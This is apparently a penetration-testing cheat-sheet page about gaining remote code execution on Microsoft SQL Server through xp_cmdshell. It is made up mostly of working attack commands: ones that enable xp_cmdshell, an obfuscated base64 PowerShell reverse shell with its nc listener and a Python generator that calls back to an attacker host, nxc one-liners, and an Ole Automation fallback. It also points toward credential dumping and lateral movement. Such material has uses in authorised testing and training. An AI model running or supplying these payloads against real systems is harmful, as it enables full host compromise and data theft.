Skip to content
HackIndex.io

MSSQL RCE via xp_cmdshell

4 min read Created Mar 26, 2026 Last updated May 15, 2026

xp_cmdshell is an extended stored procedure that passes a string to the Windows command shell and returns output. When enabled, it executes as the SQL Server service account. On systems where that account is NT AUTHORITY\SYSTEM or a highly privileged domain account, xp_cmdshell is a direct path from SQL authentication to full host compromise.

Sysadmin membership is required to enable or use xp_cmdshell. If you have sysadmin rights but xp_cmdshell is disabled, enabling it takes two configuration commands.

Requirements and execution paths:

  • Sysadmin role required to enable and execute xp_cmdshell

  • Commands run as the SQL Server service account (often SYSTEM)

  • Ole Automation Procedures as fallback when xp_cmdshell is blocked

  • nxc can auto-enable xp_cmdshell and execute without an interactive session

MSSQL xp_cmdshell RCE: enable and execute

If xp_cmdshell is disabled, enable it through the advanced options. This requires sysadmin:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
mysql> EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; 
Configuration option 'show advanced options' changed from 0 to 1.
Configuration option 'xp_cmdshell' changed from 0 to 1.

Confirm execution context before running payloads. This tells you what OS user commands will run as:

mysql> EXEC xp_cmdshell 'whoami'; 
output
--------------------
nt authority\system

Execute Commands via xp_cmdshell

Basic command execution for situational awareness before getting a shell:

mysql> EXEC xp_cmdshell 'whoami /priv';
mysql> EXEC xp_cmdshell 'net user';
mysql> EXEC xp_cmdshell 'ipconfig /all';

Reverse Shell via PowerShell

Set up the listener before executing the payload:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Use a PowerShell reverse shell through xp_cmdshell. The command runs through cmd /c to handle the PowerShell invocation:

mysql> EXEC xp_cmdshell 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAJABMAEgATwBTAFQAIgAsACQATABQAE8AUgBUACkA';

Generate the base64 encoded PowerShell payload on Kali first and paste the encoded string into the command. Use the standard PowerShell TCP reverse shell and encode it:

┌──(kali㉿kali)-[~]
└─$ python3 -c "import base64; cmd='$client = New-Object System.Net.Sockets.TCPClient(\"'+'$LHOST'+'\",'+'$LPORT'+');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'; print(base64.b64encode(cmd.encode('utf-16-le')).decode())"

Execute via nxc Without Interactive Session

nxc can run xp_cmdshell commands directly without opening an interactive mssqlclient session, which is faster for one-off command execution:

┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN -x 'whoami' 
MSSQL  $TARGET_IP  1433  SQL-01  [+] CORP\sqlsvc (Pwn3d!)
MSSQL  $TARGET_IP  1433  SQL-01  [+] Executed command via xp_cmdshell
MSSQL  $TARGET_IP  1433  SQL-01  nt authority\system

The -x flag runs the command through xp_cmdshell and returns output. If xp_cmdshell is disabled, nxc will attempt to enable it automatically. Use this for quick checks before committing to an interactive session or a reverse shell.

Ole Automation Alternative

When xp_cmdshell is disabled and cannot be enabled, Ole Automation Procedures provide an equivalent path if they are active. This uses WScript.Shell to execute commands:

mysql> DECLARE @shell INT; EXEC sp_oacreate 'wscript.shell', @shell OUTPUT; EXEC sp_oamethod @shell, 'run', null, 'cmd /c whoami > C:\Windows\Temp\out.txt'; WAITFOR DELAY '00:00:02'; SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Windows\Temp\out.txt', SINGLE_CLOB) AS r;

Once command execution is confirmed, loot the database itself for credentials and sensitive data , see MSSQL Database Pillaging and MSSQL Credential Dump. For lateral movement to other SQL Server instances through the current connection, see Lateral Movement via MSSQL Linked Servers.

References